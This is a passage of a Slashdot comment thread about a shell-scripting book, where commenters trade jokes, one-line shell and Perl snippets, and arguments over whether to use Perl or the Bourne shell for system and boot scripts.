      "Not every handy little function is handed to you in some massive library."

      And sometimes it takes longer to search for the function in the library than it does to write it from scratch.

      --
      In the free world the media isn't government run; the government is media run.
    13. Re:sounds cool by Wolfrider · · Score: 1

      --Would you mind if I asked for a copy of the script (and which DNS service you use)? A friend of mine has dynamic IP (changes every couple of days) and might benefit from it.

      TIA

      --
      .
      == WolfriderV6 == I'm willing to admit that *I just might* be wrong... Are you??
    14. Re:sounds cool by 74nova · · Score: 1

      hmm... let me see...

      it looks like its not working. perhaps its because im lazy? i dunno, maybe my apostrophe key is broken. i am just too lazy for capitalization or punctuation. i work hard enough to make reasonably coherent arguments with somewhat accurate grammar, its just too much to ask for me to use apostrophes or capitalize.

      having said all that, id throw you a funny point if i could :-) ing

      --
      use your turn signal! you people act like it's divulging information to the enemy
  5. Usage guide found on page one. by Kenja · · Score: 4, Funny

    Step 1. Type the following 367 pages into 101 text files using the text editor of your choice.
    Step 2. Type 'chmod a+x ./*' and hit enter.

    --

    "Have you ever thought about just turning off the TV, sitting down with your kids, and hitting them?"
    1. Re:Usage guide found on page one. by Anonymous Coward · · Score: 0

      lorf @ ur psot and ur sig

    2. Re:Usage guide found on page one. by Anonymous Coward · · Score: 0

      Ok, maybe I'm not from the Unix elite but why is this funny?

    3. Re:Usage guide found on page one. by Anonymous Coward · · Score: 0

      Ah, you totally forgot the most important '-R' switch.

      Step 2. Type 'chmod -R a+x ./*' and hit enter.

    4. Re:Usage guide found on page one. by Anonymous Coward · · Score: 0

      Why? The 101 sacred script files were saved in one directory.

      btw "chmod a+x *" would work just fine too.

    5. Re:Usage guide found on page one. by Anonymous Coward · · Score: 0

      If they're all in the same dir, why use the recursive switch?

      People like you are always fucking shit up on production systems because you go willy nilly all over the place and change everything instead of only what needs to be changed.

      You fucking fuck!

  6. Sounds useful, but what languages are used? by KingOfBLASH · · Score: 1, Funny

    This sounds useful, but what languages are used? I picked up a couple of the O'Reilly 101 ____ books and they usually had lots of neat stuff, but since they varied the use of scripting languages, not everything resulted in something I could use. (I have nothing against Python or Ruby, for instance, but I already know too many computer languages to take the time to learn a new one just to use a script).

    1. Re:Sounds useful, but what languages are used? by Anonymous Coward · · Score: 1, Informative

      Hmmm... I dunno... From the name of the book I'd have to say BASH (with some possible TCSH or ZSH thrown in for measure)....

    2. Re:Sounds useful, but what languages are used? by TMOLI+42 · · Score: 2, Informative
      I already know too many computer languages to take the time to learn a new one just to use a script
      Don't you really mean "I already know too many computer languages so learning another is not a problem"? I know maybe 10 or so, and I can't profess to know everything, but I think after you understand the basic concepts it doesn't matter what language it is in. Subprograms, objects, conditionals, and looping are the same concepts regardless of the language used; only the syntax is different. (Of course, there are always exceptions).
      since they varied the use of scripting languages, not everything resulted in something I could use.
      The point is the opposite of what you said. Some things resulted in things you could use, as opposed to nothing if you did not know the language used.
    3. Re:Sounds useful, but what languages are used? by KingOfBLASH · · Score: 1
      Don't you really mean "I already know too many computer languages so learning another is not a problem"?
      Well I can sit down and learn another language if needed and even get some (most) of the syntax from looking at code, but it's mostly an issue of memorization. Should I memorize more language specifications (with time I don't have), or ust use a language I know to implement something
    4. Re:Sounds useful, but what languages are used? by frodo+from+middle+ea · · Score: 3, Insightful
      Yes but you are missing a big point here.

      The programming languages like C, C++, Java etc, are strongly typed languages and the compiler will give you sufficient information to correct your incorrect syntax problems.

      So even when you switch from say C++ and Java, with a little common sense and reading the compiler errors and warnings you can easily pick up java syntax, keywords etc.

      But with scripting languages it is not so, as they are not compiled. This is especially a headache when you are dealing with multiple unix machines having differnet shells.

      I once worked at a job where I had to use , csh (c-shell) , sh (original bourn shell) , ksh ( korn shell ) and bash (bourn shell ) on different linux, solaris and HP-UX boxes. It was a real headache maintaining the scripts.

      All these scripts differ quite a lot in syntax , especially for arethmatic, redirects , invoking sub shells , comparision operators etc.

      What is needed is a good shell cross referencing manaul which will provide comparative features of at least the major shells like , bash , sh, ksh, csh, tcsh , zsh.

      --
      for the last time people, I am "frodo from middle eaRTH", not "middle eaST".
    5. Re:Sounds useful, but what languages are used? by TMOLI+42 · · Score: 1

      What I am saying is that if you did take the time to learn the new language, it would take you to learn it would be less than if you did not have any programming experience. In this case this doesn't apply since you don't have the time.

      However, I think that learning the basic syntax and having a good reference to find the information you need is invaluable. Obviously, for a single shell script it may not be worth doing even that much, but if there is a chance that it will be useful in the future then you might learn it at that time anyway. Of course time and money are always limiting factors and what is best in any given situation may only be seen in hindsight.

    6. Re:Sounds useful, but what languages are used? by Brandybuck · · Score: 1

      Actually from the description it sounds like BOURNE to me.

      bash is great, but make sure all your scripts are plain vanilla Bourne. And if you do need something only bash provides, don't be a moron and use #!/bin/sh. That's just Evil.

      --
      Don't blame me, I didn't vote for either of them!
    7. Re:Sounds useful, but what languages are used? by Anonymous Coward · · Score: 0

      Try Unix in a Nutshell. There's about 10 pages in that book that are absolutely essential.

    8. Re:Sounds useful, but what languages are used? by Anonymous Coward · · Score: 0


      From the name of the book I'd have to say BASH (with some possible TCSH or ZSH thrown in for measure)....


      BASH? Makes no sense at all. Then the book should be called Wicked Cool Bash Scripts.

      I'd expect for this book to be about scripting with sh (and no, it is not a good assumption (or even a good practice) that this is a link to bash)

      <mutter>damn kids.<\mutter>

    9. Re:Sounds useful, but what languages are used? by tootlemonde · · Score: 1

      I once worked at a job where I had to use , csh (c-shell) , sh (original bourn shell) , ksh ( korn shell ) and bash (bourn shell ) on different linux, solaris and HP-UX boxes. It was a real headache maintaining the scripts.

      Finally, an irrefutable argument for using Perl instead of shell scripts.

    10. Re:Sounds useful, but what languages are used? by Crispy+Critters · · Score: 1
      Finally, an irrefutable argument for using Perl instead of shell scripts.

      Almost.

      But you could equally well conclude that the solution is to install GNU bash on all these machines. Scripts will be just as portable between machines running GNU bash as they would be in Perl.

  7. Hmm. by markov_chain · · Score: 5, Funny

    did you know you could write a script to retrieve movie info from IMDb?

    Please please tell me it's not

    #!/bin/sh
    wget 'http://imdb.com/title/tt0151804/'

    --
    Tsunami -- You can't bring a good wave down!
    1. Re:Hmm. by Anonymous Coward · · Score: 5, Funny

      I wonder if he also includes a script for completing TPS reports.

    2. Re:Hmm. by Anonymous Coward · · Score: 0

      the printer made a typo, the last line is to read as follows:

      wget 'http://imdb.com/title/tt0274518/'

    3. Re:Hmm. by Anonymous Coward · · Score: 0

      Sounds like someone is JUMPING... to CONCLUSIONS!

      (At least the parent understands this joke...)

    4. Re:Hmm. by wdavies · · Score: 2, Interesting

      You mean:

      #!/bin/sh
      lynx -dump 'http://imdb.com/title/tt0151804/' :-) Much easier to read.

    5. Re:Hmm. by TwistedGreen · · Score: 1

      "That sounds familiar..."

      "Yeah, they did it in http://imdb.com/title/tt0081573/."

    6. Re:Hmm. by Anonymous Coward · · Score: 1, Funny

      I think you meant http://imdb.com/title/tt0086393/.

      Other than that, bravo.

    7. Re:Hmm. by bfg9000 · · Score: 2, Funny

      [hillbilly moron mode ON]

      Awesome! Is that script GPL, BSD, or do I have to pay to use it?

      I just made my own by guessing some letters and thingies at random, since every command line tool on this here leenux boxen thingy seems to accept a pile of letters and stuff. So I just pooped out this doozy, just to see what would happen:

      wget -nc -k -r -l inf http://www.playboy.com/

      and it's still going. Been half an hour. What's it doing? I don't know what it's doing, but it looks good. Gotta love those random letters. I once "rm -rf"ed something but good with random letters like that. THAT'S the power of scripts. All them letters can make your computer do anything you didn't know it could.

      Oops. Forgot one important thing:
      [hillbilly moron mode OFF]

      --

      I'm not normally an irrational zealous dickhead, but I figure "When in Rome..."

    8. Re:Hmm. by ncc74656 · · Score: 2, Informative
      You mean:

      #!/bin/sh
      lynx -dump 'http://imdb.com/title/tt0151804/'

      :-) Much easier to read.

      Easier for people to read, but if you were dumping the results into another program/script, the raw HTML might be easier to parse. (Then again, you can just change -dump to -source to have Lynx dump raw HTML instead of formatted text, in case you don't have wget.)

      --
      20 January 2017: the End of an Error.
    9. Re:Hmm. by bfg9000 · · Score: 3, Informative

      Just snagged all the scripts in one file with a wget script too.

      wget -c http://www.intuitive.com/wicked/scripts/AllFiles.t gz

      Very cool.

      --

      I'm not normally an irrational zealous dickhead, but I figure "When in Rome..."

    10. Re:Hmm. by i_want_you_to_throw_ · · Score: 1

      #!/usr/bin/perl
      use strict; #always
      use LWP::Simple;
      $html = get('http://imdb.com/title/tt0151804/'); ...etc

    11. Re:Hmm. by TwistedGreen · · Score: 1

      ...oops. :)

    12. Re:Hmm. by Anonymous Coward · · Score: 0

      That's the stupidest idea I've ever heard.

    13. Re:Hmm. by Sideshow+Coward · · Score: 1

      They do, but it doesn't put the new cover page on it.

    14. Re:Hmm. by saforrest · · Score: 1

      #!/bin/sh
      lynx -dump 'http://imdb.com/title/tt0151804/'


      Yeah, but lynx doesn't work without a terminal [1], so you can't put it in as a cron job.

      [1] At least, not without more effort spent on reading the documentation than I was willing to spend, when I already had a working example of LWP before me.

    15. Re:Hmm. by Anonymous Coward · · Score: 0

      Lynx nazi.

    16. Re:Hmm. by paul_pick1 · · Score: 1
      Just so long as it's not:

      #!/bin/sh
      wget http://us.imdb.com/title/tt0274518/

      That guy has got to find another hobby... :-)

      --
      http://www.switch2firefox.com/
    17. Re:Hmm. by Anonymous Coward · · Score: 0
      No, it's

      #!/bin/sh
      wget 'http://imdb.com/title/tt0274518/'

      :(

    18. Re:Hmm. by McGarnacle · · Score: 1

      What's funny about this post is, despite using strict, you neglected to declare $html.

      Tsk tsk. always indeed.
      --

      I disagree with what you say, but will defend to the death your right to tell such LIES!

    19. Re:Hmm. by ncc74656 · · Score: 1
      #!/bin/sh lynx -dump 'http://imdb.com/title/tt0151804/'

      Yeah, but lynx doesn't work without a terminal [1], so you can't put it in as a cron job.

      Hmm...

      unset TERM
      lynx -dump http://slashdot.org/

      Works fine here. It doesn't work in normal (interactive) mode, but -dump and -source will work to retrieve stuff. I've used Lynx in cron jobs before without having to do anything special.

      --
      20 January 2017: the End of an Error.
    20. Re:Hmm. by 0x12d3 · · Score: 1

      That's funny in my .bashrc I actually do have an alias to show me what's playing at my local theatre quickly.

      alias amc="dillo http://www.movietickets.com/house_detail.asp\?hous e_id=3341"

      Really quick and easy, but useful. Just visit the site once for your "house_id".

      (/. put the spaces in the url)

    21. Re:Hmm. by Chanc_Gorkon · · Score: 1

      I wonder if he wrote a script to keep track of that red stapler by taking pictures with a web cam and mailing them?

      --

      Gorkman

    22. Re:Hmm. by dave420 · · Score: 1

      iMDB allow people to download the raw list files for their database. Apps are available to turn this into a MySQL database... I guess they did that so no-one needs to leech of their webserver :)

  8. Why shell? by krog · · Score: 3, Flamebait

    Perl is now completely ubiquitous, and much more suited to scripting than /bin/sh. Why settle for anything less?

    1. Re:Why shell? by Anonymous Coward · · Score: 5, Funny

      No. You do not have to settle for less. You can settle for more instead of settling for less, but IMHO more is less than less and less is more than more. more is installed on more systems than less, more systems have less installed than before.

    2. Re:Why shell? by Camel+Pilot · · Score: 0, Flamebait

      Good question. I was just exploring rc.sysinit which is written in /bin/bash however some of the scripts in init.d are /bin/sh. Why is Perl not used exclusively? (or for that matter any of the higher level scripting tools)

      Perl has higher level programming constructs such as variable scoping, references, hashes, reg exp, etc that make programming some much more capable and readable, understandable.

    3. Re:Why shell? by gnuzip · · Score: 1
      Why settle for anything less?

      Maybe you don't have to. You could use perl -e in the middle of some pipe, like: curl http://something/ | grep -v something | perl -e 'bunch_of_processing' | something_else

    4. Re:Why shell? by dewie · · Score: 5, Informative
      Because:

      (i) Many people, like myself, don't know perl, and don't see the point in learning when shell scripts are perfectly adequate for their purposes.

      (ii) Sometimes it's just easier. viz. this quote from bash.org:
      <Jon^D> I had to cat 8-9 seperate quote files, compare each line in each of them to make sure there weren't any duplicates then sort
      <Jon^D> I wrote a nasty perl script to get it donw
      <Jon^D> and it didn't work very well
      <skank> cat quote*.txt |sort |uniq
      --
      Jurisprudence Fetishist Gets Off On A Technicality --theonion.com
    5. Re:Why shell? by ComputerSlicer23 · · Score: 4, Insightful
      Last time I checked, /bin/bash is on the / partition, and perl is either on /usr/bin/perl, or /usr/local/bin/perl.

      During boot up scripts, until you get past the point that /usr is mounted (you do put /usr on a different partition right?), you can't use anything. That's how you determine what goes on /bin and what goes in /usr/bin (well mostly). When things go wrong, and you need to recover, trying to fix things on a busted machine, is much more reliable if you are using shell then perl (it's got a smaller foot print, and it's not an intertangled mess of libraries).

      Intertangled messes of libraries are a great thing when you are developing. They are a beast, if things are broken. What if you fsck can't finish because part of the library is dorked. Thus you can't mount the filesystems you need to use to fix the problem.

      During boot up, you want to use the easiest, and most reliable method of booting. Shell scripts are probably better off then perl scripts. It's easy to have readable, reliable shell scripts with scoping, it's just not something you are used to doing apparently.

      Besides all that, you'd spend all your time in perl doing exec/fork/system. The /bin/sh is more efficient at doing that then perl is (in terms of code, if not runtime).

      Kirby

    6. Re:Why shell? by Naikrovek · · Score: 4, Informative

      usually the really important scripts are running /bin/sh - a STATICALLY compiled binary of a shell that is pretty much everywhere.

      why not dynamically compiled? Well if your glibc barfs all dynamically compiled binaries barf with it - including perl, and including any shells that you use to start up your system. With a statically compiled shell to handle all of those startup scripts you can boot linux without glibc working, and you probably have enough of a system still running to get things fixed. with a dynamically linked startup file interpreter, when glibc or something glibc depends on goes, your whole system goes, single-user mode and all.

      Besides, while perl can execute system commands and make decisions based on input, i think the shell is a better tool for things like this. sh and bash were designed to do startup scripts (among other things) and they do them well. why fix what isn't broken? shell scripts work, and they can do anything you'd need them to do during startup.

    7. Re:Why shell? by drooling-dog · · Score: 1

      I use less so much I've almost forgotten about more.

    8. Re:Why shell? by Anonymous Coward · · Score: 0
      or

      sort quote*.txt | uniq

    9. Re:Why shell? by SheldonYoung · · Score: 1

      Or just

      sort -u quote*.txt

    10. Re:Why shell? by Anonymous Coward · · Score: 0

      Too much typing:

      sort -u quote*.txt
      ;-)

    11. Re:Why shell? by Mr+Slushy · · Score: 1

      cat quote*.txt |sort |uniq

      A good shell programmer is lazy and always tries to eliminate wasted keystrokes.

      sort q*|sort|uniq

      Does the same thing, but eliminates one program (cat) and 14 keystrokes.

      --

      S.E.S.S.D.E.N.E.E.NW from west end of hall of mists

    12. Re:Why shell? by superdude72 · · Score: 1

      Hardly anyone uses the true Bourne shell, except for scripts that have to be really, truly able to run on any Unix system built since the '70s. /bin/sh on a linux system is actually bash running in a compatibility mode.

      Bourne-compatible shells like bash and ksh have come a long way from the old Bourne shell. You can use bash to do just about anything you would do in perl. I find it's easier to use bash for some things. Like if you're interacting with the file system a lot, for instance. It's more straightforward do it in bash than to do a bunch of system calls in perl.

      Anyway, the book is called Wicked Shell Scripts. If you wanted a book on perl, I suppose you could buy a book on perl.

    13. Re:Why shell? by mekkab · · Score: 2, Funny

      when checking enormous debug files with lines longer than 300+ characters, vi is not an option. I'll grudgingly use more, but I prefer less and the more you use less, the less you'll use more; more or less.

      --
      In the future, I would want to not be isolated from my friends in the Space Station.
    14. Re:Why shell? by Cthefuture · · Score: 1

      I willing to bet that the equivalent functionality of Bash is in Perl without any external requirements at all.

      Now, if you start using some of the other library functions sure, you might have a problem but you'll face the same problems if your bash script starts using commands (and the libraries that go with them) that are not available.

      --
      The ratio of people to cake is too big
    15. Re:Why shell? by Moderation+abuser · · Score: 2, Insightful

      Because of Perl versioning problems. Half a dozen different versions on a single platform.

      Because Perl exists in random locations.

      Because a particular Perl installation will have random modules installed.

      Because Perl is not on *everything*.

      Because writing a shell script take a fraction of the time a Perl script takes.

      Because Perl encourages monolithic scripting.

      Perl has tried so very hard (and suceeded) to become a fully featured programming language, it hasn't been suited to small scripting tasks since version 4.

      --
      Government of the people, by corporate executives, for corporate profits.
    16. Re:Why shell? by Anonymous Coward · · Score: 0

      Minus the actual shell prompt/user interactivity of course.

    17. Re:Why shell? by Moderation+abuser · · Score: 1

      "Perl has higher level programming constructs such as variable scoping, references, hashes, reg exp, etc that make programming"

      *That* is why Perl is no longer suitable for general day to day scripting.

      --
      Government of the people, by corporate executives, for corporate profits.
    18. Re:Why shell? by mst76 · · Score: 2, Informative
      No. You do not have to settle for less. You can settle for more instead of settling for less, but IMHO more is less than less and less is more than more. more is installed on more systems than less, more systems have less installed than before.
      Why settle for less, if you can settle on most?
    19. Re:Why shell? by CormacJ · · Score: 3, Interesting

      I tend to agree. My boss is a perl nut. If its a system admin script, he wants it in perl.

      Recently I had a 4 line script that helped me reconfigure a bunch of workstations. He wanted in redone in perl, so a 4 line hack became a 50 line perl script.

    20. Re:Why shell? by Anonymous Coward · · Score: 0

      It also inexplicably sorts the output twice.

    21. Re:Why shell? by Anonymous Coward · · Score: 0
      During boot up scripts, until you get past the point that /usr is mounted (you do put /usr on a different partition right?), you can't use anything. That's how you determine what goes on /bin and what goes in /usr/bin (well mostly). When things go wrong, and you need to recover, trying to fix things on a busted machine, is much more reliable if you are using shell then perl (it's got a smaller foot print, and it's not an intertangled mess of libraries).
      For most home PCs, it's much easier to dump everything in one partition, and use a live cd as rescue disc. If something goes wrong, you can even google for help. How many have a web-browser in /bin ?
    22. Re:Why shell? by chad_r · · Score: 2, Informative

      Useless Use of Cat. sort quote*.txt | uniq

      Heh, also a useless use of uniq. Try sort -u quote*.txt

      I use sort|uniq, sed -e, and find|xargs multiple times every day. But you will eventually hit the limits given enough experience, and then a mini-program is required. For example, if you want to retain the original order of lines as they are seen, with perl it's just:

      perl -e '@uniq = grep { ! $seen{$_} ++ } <>; print @uniq' quote*.txt
      (based on "4.6. Extracting Unique Elements from a List" from Perl Cookbook)

      This can be modified to filter unique lengths, or substrings, or patterns, just by changing $seen{$_} to $seen{lc $_} or whatever you need. If you want sorting the sort -u does, change "print @uniq" to "print sort @uniq". And hey, it's still on the command line!

    23. Re:Why shell? by LittleBigLui · · Score: 1
      Recently I had a 4 line script that helped me reconfigure a bunch of workstations. He wanted in redone in perl, so a 4 line hack became a 50 line perl script.


      I'm not fluent in perl, but if it has an exec function, i think there is a very simple solution to your problem :)
      --
      Free as in mason.
    24. Re:Why shell? by kennedy · · Score: 1

      Because of Perl versioning problems. Half a dozen different versions on a single platform.

      maybe you need a lession on how to install and maintain software from source.

      Because Perl exists in random locations.

      is it really that hard to change /usr/bin/perl to /usr/local/bin/perl or vice versa within your scripts? No i didn't think so.

      Because a particular Perl installation will have random modules installed.

      Sure, maybe if you're using RedHat. Be a man and build from source yourself :P

      Because Perl is not on *everything*.

      Again, maybe you need a lession in compiling software form source. Perl seems to run on most any platform i need it to.

      Because writing a shell script take a fraction of the time a Perl script takes.

      that's really more of an opinion than anything. personally, i have no trouble busting out a quick script to do what i need with perl. If you have any kind of real programing experience perl shouldn't be too hard to pick up.

      The moral of this story? Get rid of RedHat and install a manly OS like NetBSD or something.

    25. Re:Why shell? by pclminion · · Score: 2, Insightful
      If I was your boss, I'd want "scripts" and not "hacks," too.

      The real question is, was your 4 line shell script only 4 lines long because it really was that simple, or was it because, as you say, it was a "hack?"

      I'll take 10 lines of code I can understand over 1 line I can't, any day of the week.

    26. Re:Why shell? by doom · · Score: 1
      <Jon^D> I had to cat 8-9 seperate quote files, compare each line in each of them to make sure there weren't any duplicates then sort
      <Jon^D> I wrote a nasty perl script to get it donw
      <Jon^D> and it didn't work very well
      <skank> cat quote*.txt |sort |uniq
      My first stab at doing this in perl is admittedly not as simple as the shell method, but not particularly hairy, either:
      foreach (@ARGV) {
      open IN, "<$_";
      @lines = <IN>;
      foreach (@lines) {
      $uniq_lines{$_} = undef ;
      }
      }
      foreach (sort keys %uniq_lines) {
      print;
      }
      (I don't doubt that a perl-golf expert could find something shorter, but I think it's fairer to compare the obvious shell method to an obvious perl method.)

      I think that shell command line methods tend to be very convenient for jobs like this where you don't mind throwing away context information. If, on the other hand, you wanted to get a sorted listing of all quotes, along with the name(s) of the files they came from, then a stack of pipes won't do the job quite as easily.

      You can extend my perl version to do this without much trouble:

      foreach $file (@ARGV) {
      open IN, "<$file";
      @lines = <IN>;
      foreach (@lines) {
      $line_src{$_} = "$file " . $line_src{$_};
      }
      }
      foreach $line (sort keys %line_src) {
      print "$line\t--$line_src{$line}\n";
      }

      (slashdot's ECODE tags don't preserve indentation, and they don't let you use PRE either... I wonder about them sometimes...)

    27. Re:Why shell? by Camel+Pilot · · Score: 4, Interesting

      Well yes obviously perl would have to be in /bin, but I don't see what is wrong or difficult with that? I just looked and bash is over 600k so it is not like it is lightwieght or anything.

      Libraries other than the standard set of libraries are not be required for doing the simple tasks that shell scripts often do. I am sure the entire functionality of bash is well within the core of Perl.

      It's easy to have readable, reliable shell scripts with scoping, it's just not something you are used to doing apparently.

      No I admit I do very little in shell scripting mainly because I do not see the need. Perl supports many many features that ease program and script development.

      Also perl has builtins like open, readdir, socket, etc. In shell programming would you not have to do things like `cat file` to read file? Does this not increase the overhead of shell scripts by forking another shell?

      Eventhough my original post was mod'd flamebait it is not just a curious enquiry.

    28. Re:Why shell? by pclminion · · Score: 1
      Useless Use of Cat. sort quote*.txt | uniq

      Nope. Always start with cat. It makes it easier to insert a new command in the pipeline if you need to do something before sorting. How many changes must you make to your version to cause it to run 'rev' before sorting? Now, what sort of changes do you make to the version that uses cat? With your version you must change 'sort' to 'rev' and then insert 'sort |'. With the cat version you need merely insert 'rev |'

      Heh, also a useless use of uniq. Try sort -u quote*.txt

      But uniq has the -c flag, which is terribly useful. sort doesn't have it. Why waste brain cells remembering "use uniq when you need -c, otherwise use sort -u" when instead you could just always use uniq?

    29. Re:Why shell? by Anonymous Coward · · Score: 0

      There is no such thing as a Bourne compatibility mode in bash. The reason sh scripts work well on bash is because it doesn't diverge much from the original sh in terms of semantics.

      Even if it's called as /bin/sh, a script will still be able to use bash-only features. It won't automatically make it 100% sh-compatible.

      Making portable shell scripts is a serious pain, especially when you start off in Linux. Having a shell script run in Linux is by no means any indication of where it will run.

      My opinion on the matter is that a lot of commercial Unix is behind the times as far as shells. There have been a number of improvements in terms of both interactivity and scripting. But the sh, ksh, and csh you'll find on most commercial Unix has picked up none of them. So on most OSes, you have to install a third-party shell to make it comfortable.

    30. Re:Why shell? by scrytch · · Score: 1

      > Perl is now completely ubiquitous, and much more suited to scripting than /bin/sh. Why settle for anything less?

      Not really -- perl can't pipe. You can call popen, and you can pipe multiple scripts to each other, but then you're really just writing a shell script in disguise. So I tend to write complicated bits in perl, then glue 'em all together with shell pipelines.

      --
      I've finally had it: until slashdot gets article moderation, I am not coming back.
    31. Re:Why shell? by CormacJ · · Score: 1

      He hates me using perl as a wrapper for bash scripts :)

    32. Re:Why shell? by Anonymous Coward · · Score: 0


      perl -e '@uniq = grep { ! $seen{$_} ++ } ; print @uniq' quote*.txt



      This better written as


      perl -ne 'print $_ unless $seen{$_}++' quote*.txt


      It is shorter and uses less memory since only holds unique lines in memory.
    33. Re:Why shell? by CormacJ · · Score: 1

      It was simple in bash, awkward in perl.

      I consider it a hack because it took me 5 minutes to write and test. It was simple and elegant, and not too hard to understand, and worked really quickly.

      It was one of these areas where perl wasn't the best tool for the job.

      I prefer have the shorter and simpler solution because I've usually got a queue of stuff to do, so if I can do it in 5 minutes with 4 lines, I'd take that and get my work backlog down.

    34. Re:Why shell? by BladeRider · · Score: 1

      You should have had the perl script call your shell script ;)

      --
      j.
    35. Re:Why shell? by Anonymous Coward · · Score: 0
      Write me a one line Perl script that uses mpg123 to decode all mp3 files in a certain directory and run them through sox to convert them to wav files. Then compare it to:

      for f in *.mp3; do mpg123 -s "$f" | sox -c 2 -r 44100 -s -w -t raw - "$f".wav; done

    36. Re:Why shell? by Anonymous Coward · · Score: 0

      A lot of things are actually simpler, easier to do, and more expressive in shell.

      Shell is also a lot easier to learn. Anything you learn about everyday Unix usage can be used in a shell script, and everything you learn about shell scripting is directly applicable to everday Unix usage.

      A good portion of time I spend typing away at the shell, I'm not typing commands; I'm typing scripts. This is how I use my computer. It's much easier to do the shell way on the fly than "perl -e some-unreadable-garbage"

      There are also a lot of things I do in my shell scripts that, as far as I know, is difficult and awkward in a perl script, due to the way the perl interpreter is designed.

    37. Re:Why shell? by pclminion · · Score: 1
      $ ls -l /bin/sh
      lrwxrwxrwx 1 root root 4 Feb 14 2003 /bin/sh -> bash
      $ ldd /bin/sh
      libtermcap.so.2 => /lib/libtermcap.so.2 (0x4002f000)
      libdl.so.2 => /lib/libdl.so.2 (0x40034000)
      libc.so.6 => /lib/i686/libc.so.6 (0x42000000)
      /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)

      The only statically linked shell on the system is /bin/ash.static (this is RedHat 8.0)

      I guess they really REALLY don't want you upgrading glibc :-)

    38. Re:Why shell? by saforrest · · Score: 2, Informative

      So then you go with

      #!/usr/bin/perl
      system("command 1");
      system("command 2");
      $some_returned_value = `command 3`;
      system("command 4");

      Course, you still have to bother with Perl variables. But it should still be possible to do it in 4 lines.

      And if he thinks that's a hack, well, Perl is one huge freaking hack. To quote Larry Wall:

      "The Amulet isn't exactly beautiful though--in fact, up close it still looks like a bunch of beads melted together. Well, all right, I admit it. It's downright ugly. But never mind that. It's the Magic that counts."

    39. Re:Why shell? by Anonymous Coward · · Score: 0

      Please tell us what it is and what your shell script looks like.

    40. Re:Why shell? by TBone · · Score: 1
      Last time I checked, /bin/bash is on the / partition, and perl is either on /usr/bin/perl, or /usr/local/bin/perl.
      Because we all know how important it is that our local dumps of the IMDB are complete in runlevel S, before our /usr/filesystem is mounted :)
      --

      This space for rent. Call 1-800-STEAK4U

    41. Re:Why shell? by glwtta · · Score: 1
      I'm no Perl golfer, but I'd suggest that the obvious Perlish way of doing it looks more like this:
      $lines{$_} = 1 while(<>);
      print for sort keys %lines;
      --
      sic transit gloria mundi
    42. Re:Why shell? by Neologic · · Score: 1

      "The Amulet isn't exactly beautiful though--in fact, up close it still looks like a bunch of beads melted together. Well, all right, I admit it. It's downright ugly. But never mind that. It's the Magic that counts." I am sure that must be the Amulet of Yendor that he is talking about. ;)

      --

      "I hate quotations. Tell me what you know." -Ralph Waldo Emerson

    43. Re:Why shell? by Photar · · Score: 1

      #!/usr/bin/perl foreach $f ($ARGV) {open(IN, $f); @U=(); while(){ unless($i{$_}++) { push(@U, $_) } } print sort(@U); }

      --
      He who knows not and knows he knows not is a wise man. He who knows not and knows not he knows not is a fool.
    44. Re:Why shell? by kelzer · · Score: 2, Funny

      Why settle for less, if you can settle on most?

      Yeah, most's feature list is pretty impressive. And just look at the screenshots!!!

      --

      ---------------------------------------------
      SERENITY NOW!!!!!!!!!!!!!!!!
    45. Re:Why shell? by Tony-A · · Score: 1

      It was one of these areas where perl wasn't the best tool for the job.
      Surely you can run a shell script out of perl.

      Something about a hammer making a poor screwdriver.

    46. Re:Why shell? by Ozric · · Score: 1

      That is my answer too. I have been asked tens of times by interviewers if I know perl. I always tell them, I have never found anything I could not do with shell scripting. And why make things more involved not every system has perl installed and then there are all the mods and things. BAH ...
      KISS
      Every system has a shell of sometype. I find myself more intrested with python, if I have time to learn some now tricks. That is the yard I am diggin in.

    47. Re:Why shell? by jazman_777 · · Score: 1
      It was simple in bash, awkward in perl.

      Show us the money. We'll get you a nice obfuscated 1-line perl script out of it that your boss would just love.

      --
      Slashdot: Failed Car Analogies. Amateur Lawyering. Anecdote Battles.
    48. Re:Why shell? by Anonymous Coward · · Score: 0

      IMHO, korn and bash scripts are as powerful
      as Perl and easier to read. However arcane
      one may consider shell syntax, Perl is worse.
      Secondly, shell scripts are just more powerful
      in the sense that you can get more done at a
      higher level with fewer lines of code. Having
      said that, there are lots of Perl extensions (DB
      interfaces, etc.) that don't exist for shell
      (although they could because korn, and I believe
      bash, can be extended via built-in commands
      implemented via dynamic shared libraries) so in
      that sense Perl is more powerful. Call me silly,
      I just *love* Korn shell.

    49. Re:Why shell? by Anonymous Coward · · Score: 0

      > I tend to agree. My boss is a perl nut. If its a
      > system admin script, he wants it in perl.

      Man, if there is one thing that galls my ass it's
      people who write sysamdin stuff in Perl. Arghh!!
      Okay, if you can make the case that it really,
      really is better done in Perl, then fine, other-
      wise, do it in shell. While I'm venting... people
      who write install and application support scripts
      in Perl, ughh!!! People, I don't want to have
      to install Perl to just so I can install your
      program.

    50. Re:Why shell? by Camel+Pilot · · Score: 3, Interesting

      O.K. I will call your bluff!

      Show me a shell script that takes more lines of code to do the same job in Perl. Perl has many more features like grep, map, hashes, , symbolic references, etc. that make short work of simple tasks that do not exist in shell.

      More likely the reduction of lines of code would be converting from shell to perl.

      I bet your boss know shell and Perl and has (in my humble opinion) make the right choice in standardization.

      I would recommend that you spend a little time with Perl (or python or ruby) and bet you would change your mind in short time.

    51. Re:Why shell? by bangular · · Score: 1

      I don't really see this as flamebait, it's actually an interesting argument...

      A lot of it has to do with history. Ever since the dawn of man... well maybe not that long; but for a very long time, any system script that was small was done in the bourne shell. Even today, most of those scripts are #!/bin/sh not #!/bin/bash (to evoke bash's bourne shell compatability mode). So a good deal of it has to do with history.

      History aside, bash/bourne shell scripts are very easy to write. Someone can write a useful bash script with only a day's experience of shell scripting.

      The old argument was "why take the time and memory to start a perl/python/ruby/etc interpreter..". This argument doesn't really apply anymore. With machines as fast as they are, a 1MB intrepter isn't going to break the bank.

      You are correct though, there are many reasons it should be done. and in practice, really the only ones whom script strictly in bash are distributors and purists. If you go on most *nix systems, you'll find lot's of system scripts in the language of the administers choice.

    52. Re:Why shell? by Camel+Pilot · · Score: 1

      CormacJ what does bash have that perl does not? I am curious here.

      I cannot think of anything that can be done in bash that could not be done line-for-line in perl.

    53. Re:Why shell? by crsm · · Score: 1

      Perl is now completely ubiquitous, and much more suited to scripting than /bin/sh. Why settle for anything less?

      First: By "scripting" we usually mean "gluing together other programs". Its lax terminology, but I let you get away with this.

